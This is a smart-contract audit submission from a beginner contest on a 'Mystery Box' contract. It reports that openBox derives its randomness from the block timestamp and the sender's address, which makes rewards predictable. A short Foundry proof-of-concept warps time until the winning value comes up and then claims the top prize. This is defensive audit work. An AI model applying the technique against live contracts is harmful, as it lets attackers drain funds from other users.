Mystery Box

First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: medium
Valid

Randomness logic for the openbox function is predictable

Summary

User will be able to predict the randomValue used to determine the type of the box, this can lead to an user always winning the high awarding box which in turn throws the concept of game out of box. A non predictable randomness generator should be used.

Vulnerability Details

POC

function testOpenBoxRewardLogic() public{
//user2 Buying a box
vm.deal(user2,1 ether);
vm.prank(user2);
mysteryBox.buyBox{value: 0.1 ether}();
uint winningGold;
//using the logic to identify the timing of gold
while(winningGold != 99)
{
vm.warp(block.timestamp + 2);
winningGold = uint(keccak256(abi.encodePacked(block.timestamp, address(user2)))) % 100;
console.log(winningGold);
}
vm.prank(user2);
mysteryBox.openBox();
vm.prank(user2);
MysteryBox.Reward[] memory rewards = mysteryBox.getRewards();
console.log(rewards.length);
assertEq(rewards[0].value,1 ether);
}

Impact

An user will always win the highest awarded box which defies the basic logic behind the mystery box contract logic.

Tools Used

=> foundry

=> manual review

Recommendations

Change the method used to determine the randomValue use an unpredictable randomness generator.

Updates

Appeal created

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Randomness

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!